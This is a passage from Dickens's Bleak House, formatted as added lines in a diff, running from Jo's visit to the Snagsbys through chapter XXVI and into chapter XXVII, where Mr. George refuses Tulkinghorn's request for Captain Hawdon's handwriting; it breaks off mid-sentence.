+their modest aid--it might hold thee awake, and thou might learn from
+it yet!
+
+Jo never heard of any such book. Its compilers and the Reverend
+Chadband are all one to him, except that he knows the Reverend
+Chadband and would rather run away from him for an hour than hear him
+talk for five minutes. "It an't no good my waiting here no longer,"
+thinks Jo. "Mr. Snagsby an't a-going to say nothink to me to-night."
+And downstairs he shuffles.
+
+But downstairs is the charitable Guster, holding by the handrail of
+the kitchen stairs and warding off a fit, as yet doubtfully, the same
+having been induced by Mrs. Snagsby's screaming. She has her own
+supper of bread and cheese to hand to Jo, with whom she ventures to
+interchange a word or so for the first time.
+
+"Here's something to eat, poor boy," says Guster.
+
+"Thank'ee, mum," says Jo.
+
+"Are you hungry?"
+
+"Jist!" says Jo.
+
+"What's gone of your father and your mother, eh?"
+
+Jo stops in the middle of a bite and looks petrified. For this orphan
+charge of the Christian saint whose shrine was at Tooting has patted
+him on the shoulder, and it is the first time in his life that any
+decent hand has been so laid upon him.
+
+"I never know'd nothink about 'em," says Jo.
+
+"No more didn't I of mine," cries Guster. She is repressing symptoms
+favourable to the fit when she seems to take alarm at something and
+vanishes down the stairs.
+
+"Jo," whispers the law-stationer softly as the boy lingers on the
+step.
+
+"Here I am, Mr. Snagsby!"
+
+"I didn't know you were gone--there's another half-crown, Jo. It was
+quite right of you to say nothing about the lady the other night when
+we were out together. It would breed trouble. You can't be too quiet,
+Jo."
+
+"I am fly, master!"
+
+And so, good night.
+
+A ghostly shade, frilled and night-capped, follows the law-stationer
+to the room he came from and glides higher up. And henceforth he
+begins, go where he will, to be attended by another shadow than his
+own, hardly less constant than his own, hardly less quiet than his
+own. And into whatsoever atmosphere of secrecy his own shadow may
+pass, let all concerned in the secrecy beware! For the watchful Mrs.
+Snagsby is there too--bone of his bone, flesh of his flesh, shadow of
+his shadow.
+
+
+
+
+CHAPTER XXVI
+
+Sharpshooters
+
+
+Wintry morning, looking with dull eyes and sallow face upon the
+neighbourhood of Leicester Square, finds its inhabitants unwilling to
+get out of bed. Many of them are not early risers at the brightest of
+times, being birds of night who roost when the sun is high and are
+wide awake and keen for prey when the stars shine out. Behind dingy
+blind and curtain, in upper story and garret, skulking more or less
+under false names, false hair, false titles, false jewellery, and
+false histories, a colony of brigands lie in their first sleep.
+Gentlemen of the green-baize road who could discourse from personal
+experience of foreign galleys and home treadmills; spies of strong
+governments that eternally quake with weakness and miserable fear,
+broken traitors, cowards, bullies, gamesters, shufflers, swindlers,
+and false witnesses; some not unmarked by the branding-iron beneath
+their dirty braid; all with more cruelty in them than was in Nero,
+and more crime than is in Newgate. For howsoever bad the devil can be
+in fustian or smock-frock (and he can be very bad in both), he is a
+more designing, callous, and intolerable devil when he sticks a pin
+in his shirt-front, calls himself a gentleman, backs a card or
+colour, plays a game or so of billiards, and knows a little about
+bills and promissory notes than in any other form he wears. And in
+such form Mr. Bucket shall find him, when he will, still pervading
+the tributary channels of Leicester Square.
+
+But the wintry morning wants him not and wakes him not. It wakes Mr.
+George of the shooting gallery and his familiar. They arise, roll up
+and stow away their mattresses. Mr. George, having shaved himself
+before a looking-glass of minute proportions, then marches out,
+bare-headed and bare-chested, to the pump in the little yard and anon
+comes back shining with yellow soap, friction, drifting rain, and
+exceedingly cold water. As he rubs himself upon a large jack-towel,
+blowing like a military sort of diver just come up, his hair curling
+tighter and tighter on his sunburnt temples the more he rubs it so
+that it looks as if it never could be loosened by any less coercive
+instrument than an iron rake or a curry-comb--as he rubs, and puffs,
+and polishes, and blows, turning his head from side to side the more
+conveniently to excoriate his throat, and standing with his body well
+bent forward to keep the wet from his martial legs, Phil, on his
+knees lighting a fire, looks round as if it were enough washing for
+him to see all that done, and sufficient renovation for one day to
+take in the superfluous health his master throws off.
+
+When Mr. George is dry, he goes to work to brush his head with two
+hard brushes at once, to that unmerciful degree that Phil,
+shouldering his way round the gallery in the act of sweeping it,
+winks with sympathy. This chafing over, the ornamental part of Mr.
+George's toilet is soon performed. He fills his pipe, lights it, and
+marches up and down smoking, as his custom is, while Phil, raising a
+powerful odour of hot rolls and coffee, prepares breakfast. He smokes
+gravely and marches in slow time. Perhaps this morning's pipe is
+devoted to the memory of Gridley in his grave.
+
+"And so, Phil," says George of the shooting gallery after several
+turns in silence, "you were dreaming of the country last night?"
+
+Phil, by the by, said as much in a tone of surprise as he scrambled
+out of bed.
+
+"Yes, guv'ner."
+
+"What was it like?"
+
+"I hardly know what it was like, guv'ner," said Phil, considering.
+
+"How did you know it was the country?"
+
+"On account of the grass, I think. And the swans upon it," says Phil
+after further consideration.
+
+"What were the swans doing on the grass?"
+
+"They was a-eating of it, I expect," says Phil.
+
+The master resumes his march, and the man resumes his preparation of
+breakfast. It is not necessarily a lengthened preparation, being
+limited to the setting forth of very simple breakfast requisites for
+two and the broiling of a rasher of bacon at the fire in the rusty
+grate; but as Phil has to sidle round a considerable part of the
+gallery for every object he wants, and never brings two objects at
+once, it takes time under the circumstances. At length the breakfast
+is ready. Phil announcing it, Mr. George knocks the ashes out of his
+pipe on the hob, stands his pipe itself in the chimney corner, and
+sits down to the meal. When he has helped himself, Phil follows suit,
+sitting at the extreme end of the little oblong table and taking his
+plate on his knees. Either in humility, or to hide his blackened
+hands, or because it is his natural manner of eating.
+
+"The country," says Mr. George, plying his knife and fork; "why, I
+suppose you never clapped your eyes on the country, Phil?"
+
+"I see the marshes once," says Phil, contentedly eating his
+breakfast.
+
+"What marshes?"
+
+"THE marshes, commander," returns Phil.
+
+"Where are they?"
+
+"I don't know where they are," says Phil; "but I see 'em, guv'ner.
+They was flat. And miste."
+
+Governor and commander are interchangeable terms with Phil,
+expressive of the same respect and deference and applicable to nobody
+but Mr. George.
+
+"I was born in the country, Phil."
+
+"Was you indeed, commander?"
+
+"Yes. And bred there."
+
+Phil elevates his one eyebrow, and after respectfully staring at his
+master to express interest, swallows a great gulp of coffee, still
+staring at him.
+
+"There's not a bird's note that I don't know," says Mr. George. "Not
+many an English leaf or berry that I couldn't name. Not many a tree
+that I couldn't climb yet if I was put to it. I was a real country
+boy, once. My good mother lived in the country."
+
+"She must have been a fine old lady, guv'ner," Phil observes.
+
+"Aye! And not so old either, five and thirty years ago," says Mr.
+George. "But I'll wager that at ninety she would be near as upright
+as me, and near as broad across the shoulders."
+
+"Did she die at ninety, guv'ner?" inquires Phil.
+
+"No. Bosh! Let her rest in peace, God bless her!" says the
+trooper. "What set me on about country boys, and runaways, and
+good-for-nothings? You, to be sure! So you never clapped your eyes
+upon the country--marshes and dreams excepted. Eh?"
+
+Phil shakes his head.
+
+"Do you want to see it?"
+
+"N-no, I don't know as I do, particular," says Phil.
+
+"The town's enough for you, eh?"
+
+"Why, you see, commander," says Phil, "I ain't acquainted with
+anythink else, and I doubt if I ain't a-getting too old to take to
+novelties."
+
+"How old ARE you, Phil?" asks the trooper, pausing as he conveys his
+smoking saucer to his lips.
+
+"I'm something with a eight in it," says Phil. "It can't be eighty.
+Nor yet eighteen. It's betwixt 'em, somewheres."
+
+Mr. George, slowly putting down his saucer without tasting its
+contents, is laughingly beginning, "Why, what the deuce, Phil--" when
+he stops, seeing that Phil is counting on his dirty fingers.
+
+"I was just eight," says Phil, "agreeable to the parish calculation,
+when I went with the tinker. I was sent on a errand, and I see him
+a-sittin under a old buildin with a fire all to himself wery
+comfortable, and he says, 'Would you like to come along a me, my
+man?' I says 'Yes,' and him and me and the fire goes home to
+Clerkenwell together. That was April Fool Day. I was able to count up
+to ten; and when April Fool Day come round again, I says to myself,
+'Now, old chap, you're one and a eight in it.' April Fool Day after
+that, I says, 'Now, old chap, you're two and a eight in it.' In
+course of time, I come to ten and a eight in it; two tens and a eight
+in it. When it got so high, it got the upper hand of me, but this is
+how I always know there's a eight in it."
+
+"Ah!" says Mr. George, resuming his breakfast. "And where's the
+tinker?"
+
+"Drink put him in the hospital, guv'ner, and the hospital put him--in
+a glass-case, I HAVE heerd," Phil replies mysteriously.
+
+"By that means you got promotion? Took the business, Phil?"
+
+"Yes, commander, I took the business. Such as it was. It wasn't much
+of a beat--round Saffron Hill, Hatton Garden, Clerkenwell, Smiffeld,
+and there--poor neighbourhood, where they uses up the kettles till
+they're past mending. Most of the tramping tinkers used to come and
+lodge at our place; that was the best part of my master's earnings.
+But they didn't come to me. I warn't like him. He could sing 'em a
+good song. I couldn't! He could play 'em a tune on any sort of pot
+you please, so as it was iron or block tin. I never could do nothing
+with a pot but mend it or bile it--never had a note of music in me.
+Besides, I was too ill-looking, and their wives complained of me."
+
+"They were mighty particular. You would pass muster in a crowd,
+Phil!" says the trooper with a pleasant smile.
+
+"No, guv'ner," returns Phil, shaking his head. "No, I shouldn't. I
+was passable enough when I went with the tinker, though nothing to
+boast of then; but what with blowing the fire with my mouth when I
+was young, and spileing my complexion, and singeing my hair off, and
+swallering the smoke, and what with being nat'rally unfort'nate in
+the way of running against hot metal and marking myself by sich
+means, and what with having turn-ups with the tinker as I got older,
+almost whenever he was too far gone in drink--which was almost
+always--my beauty was queer, wery queer, even at that time. As to
+since, what with a dozen years in a dark forge where the men was
+given to larking, and what with being scorched in a accident at a
+gas-works, and what with being blowed out of winder case-filling at
+the firework business, I am ugly enough to be made a show on!"
+
+Resigning himself to which condition with a perfectly satisfied
+manner, Phil begs the favour of another cup of coffee. While drinking
+it, he says, "It was after the case-filling blow-up when I first see
+you, commander. You remember?"
+
+"I remember, Phil. You were walking along in the sun."
+
+"Crawling, guv'ner, again a wall--"
+
+"True, Phil--shouldering your way on--"
+
+"In a night-cap!" exclaims Phil, excited.
+
+"In a night-cap--"
+
+"And hobbling with a couple of sticks!" cries Phil, still more
+excited.
+
+"With a couple of sticks. When--"
+
+"When you stops, you know," cries Phil, putting down his cup and
+saucer and hastily removing his plate from his knees, "and says to
+me, 'What, comrade! You have been in the wars!' I didn't say much to
+you, commander, then, for I was took by surprise that a person so
+strong and healthy and bold as you was should stop to speak to such a
+limping bag of bones as I was. But you says to me, says you,
+delivering it out of your chest as hearty as possible, so that it was
+like a glass of something hot, 'What accident have you met with? You
+have been badly hurt. What's amiss, old boy? Cheer up, and tell us
+about it!' Cheer up! I was cheered already! I says as much to you,
+you says more to me, I says more to you, you says more to me, and
+here I am, commander! Here I am, commander!" cries Phil, who has
+started from his chair and unaccountably begun to sidle away. "If a
+mark's wanted, or if it will improve the business, let the customers
+take aim at me. They can't spoil MY beauty. I'M all right. Come on!
+If they want a man to box at, let 'em box at me. Let 'em knock me
+well about the head. I don't mind. If they want a light-weight to be
+throwed for practice, Cornwall, Devonshire, or Lancashire, let 'em
+throw me. They won't hurt ME. I have been throwed, all sorts of
+styles, all my life!"
+
+With this unexpected speech, energetically delivered and accompanied
+by action illustrative of the various exercises referred to, Phil
+Squod shoulders his way round three sides of the gallery, and
+abruptly tacking off at his commander, makes a butt at him with his
+head, intended to express devotion to his service. He then begins to
+clear away the breakfast.
+
+Mr. George, after laughing cheerfully and clapping him on the
+shoulder, assists in these arrangements and helps to get the gallery
+into business order. That done, he takes a turn at the dumb-bells,
+and afterwards weighing himself and opining that he is getting "too
+fleshy," engages with great gravity in solitary broadsword practice.
+Meanwhile Phil has fallen to work at his usual table, where he screws
+and unscrews, and cleans, and files, and whistles into small
+apertures, and blackens himself more and more, and seems to do and
+undo everything that can be done and undone about a gun.
+
+Master and man are at length disturbed by footsteps in the passage,
+where they make an unusual sound, denoting the arrival of unusual
+company. These steps, advancing nearer and nearer to the gallery,
+bring into it a group at first sight scarcely reconcilable with any
+day in the year but the fifth of November.
+
+It consists of a limp and ugly figure carried in a chair by two
+bearers and attended by a lean female with a face like a pinched
+mask, who might be expected immediately to recite the popular verses
+commemorative of the time when they did contrive to blow Old England
+up alive but for her keeping her lips tightly and defiantly closed as
+the chair is put down. At which point the figure in it gasping, "O
+Lord! Oh, dear me! I am shaken!" adds, "How de do, my dear friend,
+how de do?" Mr. George then descries, in the procession, the
+venerable Mr. Smallweed out for an airing, attended by his
+granddaughter Judy as body-guard.
+
+"Mr. George, my dear friend," says Grandfather Smallweed, removing
+his right arm from the neck of one of his bearers, whom he has nearly
+throttled coming along, "how de do? You're surprised to see me, my
+dear friend."
+
+"I should hardly have been more surprised to have seen your friend in
+the city," returns Mr. George.
+
+"I am very seldom out," pants Mr. Smallweed. "I haven't been out for
+many months. It's inconvenient--and it comes expensive. But I longed
+so much to see you, my dear Mr. George. How de do, sir?"
+
+"I am well enough," says Mr. George. "I hope you are the same."
+
+"You can't be too well, my dear friend." Mr. Smallweed takes him by
+both hands. "I have brought my granddaughter Judy. I couldn't keep
+her away. She longed so much to see you."
+
+"Hum! She bears it calmly!" mutters Mr. George.
+
+"So we got a hackney-cab, and put a chair in it, and just round the
+corner they lifted me out of the cab and into the chair, and carried
+me here that I might see my dear friend in his own establishment!
+This," says Grandfather Smallweed, alluding to the bearer, who has
+been in danger of strangulation and who withdraws adjusting his
+windpipe, "is the driver of the cab. He has nothing extra. It is by
+agreement included in his fare. This person," the other bearer, "we
+engaged in the street outside for a pint of beer. Which is twopence.
+Judy, give the person twopence. I was not sure you had a workman of
+your own here, my dear friend, or we needn't have employed this
+person."
+
+Grandfather Smallweed refers to Phil with a glance of considerable
+terror and a half-subdued "O Lord! Oh, dear me!" Nor in his
+apprehension, on the surface of things, without some reason, for
+Phil, who has never beheld the apparition in the black-velvet cap
+before, has stopped short with a gun in his hand with much of the air
+of a dead shot intent on picking Mr. Smallweed off as an ugly old
+bird of the crow species.
+
+"Judy, my child," says Grandfather Smallweed, "give the person his
+twopence. It's a great deal for what he has done."
+
+The person, who is one of those extraordinary specimens of human
+fungus that spring up spontaneously in the western streets of London,
+ready dressed in an old red jacket, with a "mission" for holding
+horses and calling coaches, received his twopence with anything but
+transport, tosses the money into the air, catches it over-handed, and
+retires.
+
+"My dear Mr. George," says Grandfather Smallweed, "would you be so
+kind as help to carry me to the fire? I am accustomed to a fire, and
+I am an old man, and I soon chill. Oh, dear me!"
+
+His closing exclamation is jerked out of the venerable gentleman by
+the suddenness with which Mr. Squod, like a genie, catches him up,
+chair and all, and deposits him on the hearth-stone.
+
+"O Lord!" says Mr. Smallweed, panting. "Oh, dear me! Oh, my stars! My
+dear friend, your workman is very strong--and very prompt. O Lord, he
+is very prompt! Judy, draw me back a little. I'm being scorched in
+the legs," which indeed is testified to the noses of all present by
+the smell of his worsted stockings.
+
+The gentle Judy, having backed her grandfather a little way from the
+fire, and having shaken him up as usual, and having released his
+overshadowed eye from its black-velvet extinguisher, Mr. Smallweed
+again says, "Oh, dear me! O Lord!" and looking about and meeting Mr.
+George's glance, again stretches out both hands.
+
+"My dear friend! So happy in this meeting! And this is your
+establishment? It's a delightful place. It's a picture! You never
+find that anything goes off here accidentally, do you, my dear
+friend?" adds Grandfather Smallweed, very ill at ease.
+
+"No, no. No fear of that."
+
+"And your workman. He--Oh, dear me!--he never lets anything off
+without meaning it, does he, my dear friend?"
+
+"He has never hurt anybody but himself," says Mr. George, smiling.
+
+"But he might, you know. He seems to have hurt himself a good deal,
+and he might hurt somebody else," the old gentleman returns. "He
+mightn't mean it--or he even might. Mr. George, will you order him to
+leave his infernal fire-arms alone and go away?"
+
+Obedient to a nod from the trooper, Phil retires, empty-handed, to
+the other end of the gallery. Mr. Smallweed, reassured, falls to
+rubbing his legs.
+
+"And you're doing well, Mr. George?" he says to the trooper, squarely
+standing faced about towards him with his broadsword in his hand.
+"You are prospering, please the Powers?"
+
+Mr. George answers with a cool nod, adding, "Go on. You have not come
+to say that, I know."
+
+"You are so sprightly, Mr. George," returns the venerable
+grandfather. "You are such good company."
+
+"Ha ha! Go on!" says Mr. George.
+
+"My dear friend! But that sword looks awful gleaming and sharp. It
+might cut somebody, by accident. It makes me shiver, Mr. George.
+Curse him!" says the excellent old gentleman apart to Judy as the
+trooper takes a step or two away to lay it aside. "He owes me money,
+and might think of paying off old scores in this murdering place. I
+wish your brimstone grandmother was here, and he'd shave her head
+off."
+
+Mr. George, returning, folds his arms, and looking down at the old
+man, sliding every moment lower and lower in his chair, says quietly,
+"Now for it!"
+
+"Ho!" cries Mr. Smallweed, rubbing his hands with an artful chuckle.
+"Yes. Now for it. Now for what, my dear friend?"
+
+"For a pipe," says Mr. George, who with great composure sets his
+chair in the chimney-corner, takes his pipe from the grate, fills it
+and lights it, and falls to smoking peacefully.
+
+This tends to the discomfiture of Mr. Smallweed, who finds it so
+difficult to resume his object, whatever it may be, that he becomes
+exasperated and secretly claws the air with an impotent
+vindictiveness expressive of an intense desire to tear and rend the
+visage of Mr. George. As the excellent old gentleman's nails are long
+and leaden, and his hands lean and veinous, and his eyes green and
+watery; and, over and above this, as he continues, while he claws, to
+slide down in his chair and to collapse into a shapeless bundle, he
+becomes such a ghastly spectacle, even in the accustomed eyes of
+Judy, that that young virgin pounces at him with something more than
+the ardour of affection and so shakes him up and pats and pokes him
+in divers parts of his body, but particularly in that part which the
+science of self-defence would call his wind, that in his grievous
+distress he utters enforced sounds like a paviour's rammer.
+
+When Judy has by these means set him up again in his chair, with a
+white face and a frosty nose (but still clawing), she stretches out
+her weazen forefinger and gives Mr. George one poke in the back. The
+trooper raising his head, she makes another poke at her esteemed
+grandfather, and having thus brought them together, stares rigidly at
+the fire.
+
+"Aye, aye! Ho, ho! U--u--u--ugh!" chatters Grandfather Smallweed,
+swallowing his rage. "My dear friend!" (still clawing).
+
+"I tell you what," says Mr. George. "If you want to converse with me,
+you must speak out. I am one of the roughs, and I can't go about and
+about. I haven't the art to do it. I am not clever enough. It don't
+suit me. When you go winding round and round me," says the trooper,
+putting his pipe between his lips again, "damme, if I don't feel as
+if I was being smothered!"
+
+And he inflates his broad chest to its utmost extent as if to assure
+himself that he is not smothered yet.
+
+"If you have come to give me a friendly call," continues Mr. George,
+"I am obliged to you; how are you? If you have come to see whether
+there's any property on the premises, look about you; you are
+welcome. If you want to out with something, out with it!"
+
+The blooming Judy, without removing her gaze from the fire, gives her
+grandfather one ghostly poke.
+
+"You see! It's her opinion too. And why the devil that young woman
+won't sit down like a Christian," says Mr. George with his eyes
+musingly fixed on Judy, "I can't comprehend."
+
+"She keeps at my side to attend to me, sir," says Grandfather
+Smallweed. "I am an old man, my dear Mr. George, and I need some
+attention. I can carry my years; I am not a brimstone poll-parrot"
+(snarling and looking unconsciously for the cushion), "but I need
+attention, my dear friend."
+
+"Well!" returns the trooper, wheeling his chair to face the old man.
+"Now then?"
+
+"My friend in the city, Mr. George, has done a little business with a
+pupil of yours."
+
+"Has he?" says Mr. George. "I am sorry to hear it."
+
+"Yes, sir." Grandfather Smallweed rubs his legs. "He is a fine young
+soldier now, Mr. George, by the name of Carstone. Friends came
+forward and paid it all up, honourable."
+
+"Did they?" returns Mr. George. "Do you think your friend in the city
+would like a piece of advice?"
+
+"I think he would, my dear friend. From you."
+
+"I advise him, then, to do no more business in that quarter. There's
+no more to be got by it. The young gentleman, to my knowledge, is
+brought to a dead halt."
+
+"No, no, my dear friend. No, no, Mr. George. No, no, no, sir,"
+remonstrates Grandfather Smallweed, cunningly rubbing his spare legs.
+"Not quite a dead halt, I think. He has good friends, and he is good
+for his pay, and he is good for the selling price of his commission,
+and he is good for his chance in a lawsuit, and he is good for his
+chance in a wife, and--oh, do you know, Mr. George, I think my friend
+would consider the young gentleman good for something yet?" says
+Grandfather Smallweed, turning up his velvet cap and scratching his
+ear like a monkey.
+
+Mr. George, who has put aside his pipe and sits with an arm on his
+chair-back, beats a tattoo on the ground with his right foot as if he
+were not particularly pleased with the turn the conversation has
+taken.
+
+"But to pass from one subject to another," resumes Mr. Smallweed.
+"'To promote the conversation,' as a joker might say. To pass, Mr.
+George, from the ensign to the captain."
+
+"What are you up to, now?" asks Mr. George, pausing with a frown in
+stroking the recollection of his moustache. "What captain?"
+
+"Our captain. The captain we know of. Captain Hawdon."
+
+"Oh! That's it, is it?" says Mr. George with a low whistle as he sees
+both grandfather and granddaughter looking hard at him. "You are
+there! Well? What about it? Come, I won't be smothered any more.
+Speak!"
+
+"My dear friend," returns the old man, "I was applied--Judy, shake me
+up a little!--I was applied to yesterday about the captain, and my
+opinion still is that the captain is not dead."
+
+"Bosh!" observes Mr. George.
+
+"What was your remark, my dear friend?" inquires the old man with his
+hand to his ear.
+
+"Bosh!"
+
+"Ho!" says Grandfather Smallweed. "Mr. George, of my opinion you can
+judge for yourself according to the questions asked of me and the
+reasons given for asking 'em. Now, what do you think the lawyer
+making the inquiries wants?"
+
+"A job," says Mr. George.
+
+"Nothing of the kind!"
+
+"Can't be a lawyer, then," says Mr. George, folding his arms with an
+air of confirmed resolution.
+
+"My dear friend, he is a lawyer, and a famous one. He wants to see
+some fragment in Captain Hawdon's writing. He don't want to keep it.
+He only wants to see it and compare it with a writing in his
+possession."
+
+"Well?"
+
+"Well, Mr. George. Happening to remember the advertisement concerning
+Captain Hawdon and any information that could be given respecting
+him, he looked it up and came to me--just as you did, my dear friend.
+WILL you shake hands? So glad you came that day! I should have missed
+forming such a friendship if you hadn't come!"
+
+"Well, Mr. Smallweed?" says Mr. George again after going through the
+ceremony with some stiffness.
+
+"I had no such thing. I have nothing but his signature. Plague
+pestilence and famine, battle murder and sudden death upon him," says
+the old man, making a curse out of one of his few remembrances of a
+prayer and squeezing up his velvet cap between his angry hands, "I
+have half a million of his signatures, I think! But you,"
+breathlessly recovering his mildness of speech as Judy re-adjusts the
+cap on his skittle-ball of a head, "you, my dear Mr. George, are
+likely to have some letter or paper that would suit the purpose.
+Anything would suit the purpose, written in the hand."
+
+"Some writing in that hand," says the trooper, pondering; "may be, I
+have."
+
+"My dearest friend!"
+
+"May be, I have not."
+
+"Ho!" says Grandfather Smallweed, crest-fallen.
+
+"But if I had bushels of it, I would not show as much as would make a
+cartridge without knowing why."
+
+"Sir, I have told you why. My dear Mr. George, I have told you why."
+
+"Not enough," says the trooper, shaking his head. "I must know more,
+and approve it."
+
+"Then, will you come to the lawyer? My dear friend, will you come and
+see the gentleman?" urges Grandfather Smallweed, pulling out a lean
+old silver watch with hands like the leg of a skeleton. "I told him
+it was probable I might call upon him between ten and eleven this
+forenoon, and it's now half after ten. Will you come and see the
+gentleman, Mr. George?"
+
+"Hum!" says he gravely. "I don't mind that. Though why this should
+concern you so much, I don't know."
+
+"Everything concerns me that has a chance in it of bringing anything
+to light about him. Didn't he take us all in? Didn't he owe us
+immense sums, all round? Concern me? Who can anything about him
+concern more than me? Not, my dear friend," says Grandfather
+Smallweed, lowering his tone, "that I want YOU to betray anything.
+Far from it. Are you ready to come, my dear friend?"
+
+"Aye! I'll come in a moment. I promise nothing, you know."
+
+"No, my dear Mr. George; no."
+
+"And you mean to say you're going to give me a lift to this place,
+wherever it is, without charging for it?" Mr. George inquires,
+getting his hat and thick wash-leather gloves.
+
+This pleasantry so tickles Mr. Smallweed that he laughs, long and
+low, before the fire. But ever while he laughs, he glances over his
+paralytic shoulder at Mr. George and eagerly watches him as he
+unlocks the padlock of a homely cupboard at the distant end of the
+gallery, looks here and there upon the higher shelves, and ultimately
+takes something out with a rustling of paper, folds it, and puts it
+in his breast. Then Judy pokes Mr. Smallweed once, and Mr. Smallweed
+pokes Judy once.
+
+"I am ready," says the trooper, coming back. "Phil, you can carry
+this old gentleman to his coach, and make nothing of him."
+
+"Oh, dear me! O Lord! Stop a moment!" says Mr. Smallweed. "He's so
+very prompt! Are you sure you can do it carefully, my worthy man?"
+
+Phil makes no reply, but seizing the chair and its load, sidles away,
+tightly hugged by the now speechless Mr. Smallweed, and bolts along
+the passage as if he had an acceptable commission to carry the old
+gentleman to the nearest volcano. His shorter trust, however,
+terminating at the cab, he deposits him there; and the fair Judy
+takes her place beside him, and the chair embellishes the roof, and
+Mr. George takes the vacant place upon the box.
+
+Mr. George is quite confounded by the spectacle he beholds from time
+to time as he peeps into the cab through the window behind him, where
+the grim Judy is always motionless, and the old gentleman with his
+cap over one eye is always sliding off the seat into the straw and
+looking upward at him out of his other eye with a helpless expression
+of being jolted in the back.
+
+
+
+
+CHAPTER XXVII
+
+More Old Soldiers Than One
+
+
+Mr. George has not far to ride with folded arms upon the box, for
+their destination is Lincoln's Inn Fields. When the driver stops his
+horses, Mr. George alights, and looking in at the window, says,
+"What, Mr. Tulkinghorn's your man, is he?"
+
+"Yes, my dear friend. Do you know him, Mr. George?"
+
+"Why, I have heard of him--seen him too, I think. But I don't know
+him, and he don't know me."
+
+There ensues the carrying of Mr. Smallweed upstairs, which is done to
+perfection with the trooper's help. He is borne into Mr.
+Tulkinghorn's great room and deposited on the Turkey rug before the
+fire. Mr. Tulkinghorn is not within at the present moment but will be
+back directly. The occupant of the pew in the hall, having said thus
+much, stirs the fire and leaves the triumvirate to warm themselves.
+
+Mr. George is mightily curious in respect of the room. He looks up at
+the painted ceiling, looks round at the old law-books, contemplates
+the portraits of the great clients, reads aloud the names on the
+boxes.
+
+"'Sir Leicester Dedlock, Baronet,'" Mr. George reads thoughtfully.
+"Ha! 'Manor of Chesney Wold.' Humph!" Mr. George stands looking at
+these boxes a long while--as if they were pictures--and comes back to
+the fire repeating, "Sir Leicester Dedlock, Baronet, and Manor of
+Chesney Wold, hey?"
+
+"Worth a mint of money, Mr. George!" whispers Grandfather Smallweed,
+rubbing his legs. "Powerfully rich!"
+
+"Who do you mean? This old gentleman, or the Baronet?"
+
+"This gentleman, this gentleman."
+
+"So I have heard; and knows a thing or two, I'll hold a wager. Not
+bad quarters, either," says Mr. George, looking round again. "See the
+strong-box yonder!"
+
+This reply is cut short by Mr. Tulkinghorn's arrival. There is no
+change in him, of course. Rustily drest, with his spectacles in his
+hand, and their very case worn threadbare. In manner, close and dry.
+In voice, husky and low. In face, watchful behind a blind; habitually
+not uncensorious and contemptuous perhaps. The peerage may have
+warmer worshippers and faithfuller believers than Mr. Tulkinghorn,
+after all, if everything were known.
+
+"Good morning, Mr. Smallweed, good morning!" he says as he comes in.
+"You have brought the sergeant, I see. Sit down, sergeant."
+
+As Mr. Tulkinghorn takes off his gloves and puts them in his hat, he
+looks with half-closed eyes across the room to where the trooper
+stands and says within himself perchance, "You'll do, my friend!"
+
+"Sit down, sergeant," he repeats as he comes to his table, which is
+set on one side of the fire, and takes his easy-chair. "Cold and raw
+this morning, cold and raw!" Mr. Tulkinghorn warms before the bars,
+alternately, the palms and knuckles of his hands and looks (from
+behind that blind which is always down) at the trio sitting in a
+little semicircle before him.
+
+"Now, I can feel what I am about" (as perhaps he can in two senses),
+"Mr. Smallweed." The old gentleman is newly shaken up by Judy to bear
+his part in the conversation. "You have brought our good friend the
+sergeant, I see."
+
+"Yes, sir," returns Mr. Smallweed, very servile to the lawyer's
+wealth and influence.
+
+"And what does the sergeant say about this business?"
+
+"Mr. George," says Grandfather Smallweed with a tremulous wave of his
+shrivelled hand, "this is the gentleman, sir."
+
+Mr. George salutes the gentleman but otherwise sits bolt upright and
+profoundly silent--very forward in his chair, as if the full
+complement of regulation appendages for a field-day hung about him.
+
+Mr. Tulkinghorn proceeds, "Well, George--I believe your name is
+George?"
+
+"It is so, Sir."
+
+"What do you say, George?"
+
+"I ask your pardon, sir," returns the trooper, "but I should wish to
+know what YOU say?"
+
+"Do you mean in point of reward?"
+
+"I mean in point of everything, sir."
+
+This is so very trying to Mr. Smallweed's temper that he suddenly
+breaks out with "You're a brimstone beast!" and as suddenly asks
+pardon of Mr. Tulkinghorn, excusing himself for this slip of the
+tongue by saying to Judy, "I was thinking of your grandmother, my
+dear."
+
+"I supposed, sergeant," Mr. Tulkinghorn resumes as he leans on one
+side of his chair and crosses his legs, "that Mr. Smallweed might
+have sufficiently explained the matter. It lies in the smallest
+compass, however. You served under Captain Hawdon at one time, and
+were his attendant in illness, and rendered him many little services,
+and were rather in his confidence, I am told. That is so, is it not?"
+
+"Yes, sir, that is so," says Mr. George with military brevity.
+
+"Therefore you may happen to have in your possession
+something--anything, no matter what; accounts, instructions, orders,
+a letter, anything--in Captain Hawdon's writing. I wish to compare
+his writing with some that I have. If you can give me the
+opportunity, you shall be rewarded for your trouble. Three, four,
+five, guineas, you would consider handsome, I dare say."
+
+"Noble, my dear friend!" cries Grandfather Smallweed, screwing up his
+eyes.
+
+"If not, say how much more, in your conscience as a soldier, you can
+demand. There is no need for you to part with the writing, against
+your inclination--though I should prefer to have it."
+
+Mr. George sits squared in exactly the same attitude, looks at the
+painted ceiling, and says never a word. The irascible Mr. Smallweed
+scratches the air.
+
+"The question is," says Mr. Tulkinghorn in his methodical, subdued,
+uninterested way, "first, whether you have any of Captain Hawdon's
+writing?"
+
+"First, whether I have any of Captain Hawdon's writing, sir," repeats
+Mr. George.
+
+"Secondly, what will satisfy you for the trouble of producing it?"
+
+"Secondly, what will satisfy me for the trouble of producing it,
+sir," repeats Mr. George.
+
+"Thirdly, you can judge for yourself whether it is at all like that,"
+says Mr. Tulkinghorn, suddenly handing him some sheets of written
+paper tied together.
+
+"Whether it is at all like that, sir. Just so," repeats Mr. George.
+
+All three repetitions Mr. George pronounces in a mechanical manner,
+looking straight at Mr. Tulkinghorn; nor does he so much as glance at
+the affidavit in Jarndyce and Jarndyce, that has been given to him
+for his inspection (though he still holds it in his hand), but
+continues to look at the lawyer with an air of troubled meditation.
+
+"Well?" says Mr. Tulkinghorn. "What do you say?"
+
+"Well, sir," replies Mr. George, rising erect and looking immense, "I
+would rather, if you'll excuse me, have nothing to do with this."
+
+Mr. Tulkinghorn, outwardly quite undisturbed, demands, "Why not?"
+
+"Why, sir," returns the trooper. "Except on military compulsion, I am
+not a man of business. Among civilians I am what they call in
+Scotland a ne'er-do-weel. I have no head for papers, sir. I can stand
+any fire better than a fire of cross questions. I mentioned to Mr.
+Smallweed, only an hour or so ago, that when I come into things of
+this kind I feel as if I was being smothered. And that is my
+sensation," says Mr. George, looking round upon the company, "at the
+present moment."
+
+With that, he takes three strides forward to replace the papers on
